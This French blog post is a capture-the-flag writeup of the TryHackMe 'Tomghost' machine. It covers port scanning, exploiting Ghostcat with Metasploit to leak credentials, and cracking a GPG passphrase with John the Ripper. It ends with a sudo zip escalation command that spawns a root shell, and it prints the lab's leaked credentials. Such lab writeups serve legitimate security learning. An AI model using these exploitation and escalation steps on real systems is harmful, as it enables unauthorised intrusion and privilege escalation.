Bonne année !

Il m’arrive occasionnellement de faire des “box” sur HackTheBox ou TryHackMe. A l’heure où je rédige ces lignes, je n’ai pas encore publié un quelconque writeup sur ce blog (mais l’on peut en trouver quelques uns de vieilles machines, genre Kioptrix, sur un blog précédent). Il y a quelques jours, j’ai eu l’occasion de faire le “Tomghost” sur tryHackMe, et je profite d’être grippé pour publier mon writeup (et peut-être inaugurer une série ?). C’est une machine classée comme “simple”, sa résolution devrait ne pas prendre trop de temps.

URL de la box: https://tryhackme.com/room/tomghost

On commence déjà par la démarrer et faire la “phase de découverte” de sa surface exposée. Pour ça, on utilise notre scanner de ports favori depuis plus de 20 ans: nmap. S’agissant ici d’une machine facile, on va se contenter des paramètres de ligne de commande les plus basiques à base de -A :

Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3c89f0b6ac5fe95540be9e3ba93db7c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQvC8xe2qKLoPG3vaJagEW2eW4juBu9nJvn53nRjyw7y/0GEWIxE1KqcPXZiL+RKfkKA7RJNTXN2W9kCG8i6JdVWs2x9wD28UtwYxcyo6M9dQ7i2mXlJpTHtSncOoufSA45eqWT4GY+iEaBekWhnxWM+TrFOMNS5bpmUXrjuBR2JtN9a9cqHQ2zGdSlN+jLYi2Z5C7IVqxYb9yw5RBV5+bX7J4dvHNIs3otGDeGJ8oXVhd+aELUN8/C2p5bVqpGk04KI2gGEyU611v3eOzoP6obem9vsk7Kkgsw7eRNt1+CBrwWldPr8hy6nhA6Oi5qmJgK1x+fCmsfLSH3sz1z4Ln
|   256 dd1a09f59963a3430d2d90d8e3e11fb9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOscw5angd6i9vsr7MfCAugRPvtx/aLjNzjAvoFEkwKeO53N01Dn17eJxrbIWEj33sp8nzx1Lillg/XM+Lk69CQ=
|   256 48d1301b386cc653ea3081805d0cf105 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGqgzoXzgz5QIhEWm3+Mysrwk89YW2cd2Nmad+PrE4jw
53/tcp   open  tcpwrapped syn-ack ttl 63
8009/tcp open  ajp13      syn-ack ttl 63 Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       syn-ack ttl 63 Apache Tomcat 9.0.30
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
|_http-open-proxy: Proxy might be redirecting requests
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=12/27%OT=22%CT=1%CU=30091%PV=Y%DS=2%DC=T%G=Y%TM=63AB3F
OS:7B%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=102%TI=Z%CI=I%II=I%TS=8)OP
OS:S(O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST
OS:11NW7%O6=M505ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)EC
OS:N(R=Y%DF=Y%T=40%W=6903%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Uptime guess: 0.032 days (since Tue Dec 27 19:08:09 2022)

J’ai un peu élagué ce qui m’a été retourné, mais en vrac voici les infos notables :

Cette vulnérabilité (ghostcat) permet de récupérer le contenu de tout fichier situé dans le dossier d’une application web servie par Tomcat pour peu que l’on connaisse le nom d’un fichier valide. Depuis sa publication je l’ai rencontrée un paquet de fois sur mes différentes intrusions mais généralement pas utilisable. Voyons si cette fois c’est plus intéressant.

On va dégainer le module ghostcat de Metasploit et le faire pointer vers la cible avant d’utiliser la commande “check” qui vérifie l’exploitabilité de la vulnérabilité :

msf6 auxiliary(admin/http/tomcat_ghostcat) > check [*] 10.10.174.216:8080 - The target appears to be vulnerable. Successfully read file /WEB-INF/web.xml

Ca s’annonce plutôt bien. Si maintenant on procède à l’exploitation :

msf6 auxiliary(admin/http/tomcat_ghostcat) > run 
[*] Running module against 10.10.174.216
Status Code: 200
Accept-Ranges: bytes
ETag: W/"1261-1583902632000"
Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
Content-Type: application/xml
Content-Length: 1261
<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks
  </description>

</web-app>

[+] 10.10.174.216:8080 - /root/.msf4/loot/20221227195616_tryhackme_10.10.174.216_WEBINFweb.xml_690723.txt

Parfait, on a récupéré ce qui semble ressembler étrangement à des identifiants. Le réflexe sur ces machines (hackthebox, tryhackme) c’est de tenter de les rejouer via SSH ou tout autre interface accessible (console web par exemple). Ici on a repéré un port SSH, on va essayer :

[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.174.216' (ED25519) to the list of known hosts.
skyfuck@10.10.174.216's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

skyfuck@ubuntu:~$ ls
credential.pgp  tryhackme.asc

Bon, on a un accès shell, ça s’engage plutôt bien. Comme d’habitude, le but sera de tenter d’élever ses privilèges sur la machine (devenir administrateur). Dans de plus en plus de cas, sur les machines gamifiées, il y a une étape additionnelle où l’on passe de notre utilisateur initial vers un autre utilisateur qui peut, lui, devenir administrateur. Dans le doute, j’ai quand même recherché un certain nombre d’autres vecteurs d’élévation directe (genre l’exploit polkit sorti fin 2021) mais sans succès. On va étudier de plus près ces deux fichiers que l’on a dans notre dossier. Un message chiffré (.pgp) et une clé gpg (.asc). Si l’on tente d’importer la clé, on en est empêché par le fait que l’on ne dispose pas de sa passphrase :

gpg --import test.asc 
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key 8F3DA3DEC6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key 8F3DA3DEC6707170/8F3DA3DEC6707170: error sending to agent: Operation cancelled
gpg: error reading 'test.asc': Operation cancelled
gpg: import from 'test.asc' failed: Operation cancelled
gpg: Total number processed: 0
gpg:               imported: 1
gpg:       secret keys read: 1

On va donc extraire le hash de la passphrase avec les scripts de John the Ripper et le passer à la moulinette :

# gpg2john test.asc 

File test.asc
tryhackme:$gpg$*17*54*3072*713ee3f57cc950f8f89155679abe2476c62bbd286ded0e049f886d32d2b9eb06f482e9770c710abc2903f1ed70af6fcc22f5608760be*3*254*2*9*16*0c99d5dae8216f2155ba2abfcc71f818*65536*c8f277d2faf97480:::tryhackme <stuxnet@tryhackme.com>::test.asc


# john bleh --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru        (tryhackme)     
1g 0:00:00:00 DONE (2022-12-27 20:05) 5.263g/s 5642p/s 5642c/s 5642C/s theresa..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

On dispose donc de la passphrase “alexandru” pour cette clé privée gpg. On va l’importer et lire le message chiffré avec cette clé :

# gpg --import test.asc 
gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: key 8F3DA3DEC6707170: secret key imported
gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed                                                                                                                                                                 
gpg: Total number processed: 2                                                                                                                                                                                                             
gpg:              unchanged: 2                                                                                                                                                                                                             
gpg:       secret keys read: 1                                                                                                                                                                                                             
gpg:   secret keys imported: 1                                                                                                                                                                                                             
# gpg --decrypt credential.pgp                                                                                                                                                                                         
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences                                                                                                                                                                    
gpg: encrypted with 1024-bit ELG key, ID 61E104A66184FBCC, created 2020-03-11                                                                                                                                                              
      "tryhackme <stuxnet@tryhackme.com>"                                                                                                                                                                                                  
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

Cette fois il semblerait que l’on dispose d’un autre compte, nommé merlin (et de son mot de passe). On va donc se connecter à ce compte via SSH (ou faire un su) et voir ce que l’on peut faire :

skyfuck@ubuntu:~$ su - merlin
Password: 
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip

L’utilisateur merlin peut utiliser zip en tant que root sans avoir à fournir de mot de passe lorsqu’utilisé avec sudo. On va voir vite fait sur les GTFObins comment on peut tirer parti de zip (à part le fait de constituer une archive contenant tout /root évidemment ou d’écraser des fichiers sensibles par une version backdoorée). Sur gtfobins on apprend qu’on peut avoir un shell (https://gtfobins.github.io/gtfobins/zip/) essayons ça :

merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
root.txt  ufw
# cat root.txt
THM{XXXXX}

Voilà, comme prévu, une machine bien facile. Le scénario relatif à Ghostcat a été évidemment un peu grossi, l’exploitation de cette vulnérabilité ne mène pas si souvent que ça à des identifiants (mais ce n’est pas impossible). L’élévation de privilèges est quant à elle un peu triviale mais terriblement banale (je ne compte plus le nombre de fois où un accès utilisateur à une machine s’est transformé en un accès root à cause d’un sudo mal configuré…)

Stay tuned pour d’autres writeups dans les jours/semaines à venir !